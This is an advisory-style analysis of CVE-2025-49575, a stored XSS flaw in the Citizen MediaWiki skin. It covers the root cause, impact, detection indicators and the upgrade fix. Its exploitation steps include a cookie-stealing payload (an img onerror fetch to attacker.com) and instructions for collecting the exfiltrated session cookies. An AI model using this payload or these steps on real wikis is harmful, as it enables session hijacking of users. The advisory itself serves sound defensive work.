CVE-2025-49575: 
PHP vulnerability analysis and mitigation

CVE-2025-49575 is a stored Cross-Site Scripting (XSS) vulnerability in the Citizen skin for MediaWiki, titled "Stored XSS in Command Palette tip messages." Multiple system messages rendered in the CommandPaletteFooter component are inserted into the DOM as raw HTML without sanitization, allowing any user with the editinterface permission (but not necessarily editsitejs) to inject arbitrary HTML. The vulnerability affects Citizen skin versions >= 2.4.2 and < 3.3.1 (Composer package starcitizentools/citizen-skin). It was published on June 11, 2025, and assigned a CVSS v3.1 score of 6.5 (Moderate) by the GitHub Advisory Database (Github Advisory, Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-80 (Improper Neutralization of Script-Related HTML Tags). In CommandPaletteFooter.vue, four system messages (citizen-command-palette-tip-commands, citizen-command-palette-tip-users, citizen-command-palette-tip-namespace, citizen-command-palette-tip-templates) were retrieved using mw.message(...).plain() — which returns raw text without HTML escaping — and then rendered via Vue's v-html directive, directly injecting the content into the DOM as raw HTML. An attacker with editinterface rights can edit these MediaWiki system messages to embed malicious HTML payloads; when any user opens the Command Palette, the injected HTML executes in their browser context. Note that <script> tags are ineffective due to how the HTML is inserted, but other HTML-based XSS vectors (e.g., event handlers like onerror, onload) remain viable (Security Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary scripts in the browsers of wiki users who open the Command Palette, potentially leading to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, or wiki defacement. The vulnerability specifically impacts wikis where a user group holds editinterface but not editsitejs rights — a permission boundary that is commonly misconfigured. Confidentiality and integrity of user sessions and wiki content are at risk, though availability is not directly affected (Security Advisory, Github Advisory).

A proof-of-concept is publicly documented in the GitHub security advisory, demonstrating that editing the affected system messages and opening the Command Palette triggers the injected HTML. The EPSS score is approximately 0.028–0.156%, indicating a low but non-negligible probability of exploitation in the wild. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory, Security Advisory).

1. Identify target: Locate a MediaWiki instance running the Citizen skin (versions >= 2.4.2, < 3.3.1) where a user group has editinterface but not editsitejs rights.
2. Obtain editinterface access: Log in as or compromise a user account that has the editinterface permission on the target wiki.
3. Edit vulnerable system messages: Navigate to the MediaWiki interface message pages for one or more of the following: MediaWiki:citizen-command-palette-tip-commands, MediaWiki:citizen-command-palette-tip-users, MediaWiki:citizen-command-palette-tip-namespace, or MediaWiki:citizen-command-palette-tip-templates.
4. Inject malicious HTML payload: Insert an HTML payload that does not rely on <script> tags (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) into the message content and save.
5. Trigger execution: Wait for (or social-engineer) a victim user to open the Command Palette on the wiki. The injected HTML is rendered via v-html in CommandPaletteFooter.vue, executing the payload in the victim's browser context.
6. Harvest results: Collect exfiltrated session cookies or credentials from the attacker-controlled server to perform session hijacking or further attacks (Security Advisory).

• Logs: MediaWiki edit logs showing modifications to system messages MediaWiki:citizen-command-palette-tip-commands, citizen-command-palette-tip-users, citizen-command-palette-tip-namespace, or citizen-command-palette-tip-templates by non-administrative accounts.
• File System / Database: Unexpected HTML content (e.g., onerror, onload, <img, <iframe, <svg) stored in the wiki's system message pages for the above message keys.
• Network: Outbound HTTP requests from wiki users' browsers to unknown external domains shortly after opening the Command Palette; unusual beacon or data exfiltration requests containing cookie or session data.
• Browser / Client: JavaScript errors or unexpected network requests originating from the Command Palette component in browser developer tools.

Upgrade the Citizen MediaWiki skin to version 3.3.1 or later, which fixes the vulnerability by replacing .plain() with .parse() for system message retrieval and removing v-html usage for untrusted content (Fix Commit). As an interim workaround, restrict the editinterface user right to only fully trusted users, or ensure that any group with editinterface also requires editsitejs to limit the attack surface. Additionally, deploying a Content Security Policy (CSP) header can reduce the impact of any XSS payloads that do execute (Github Advisory).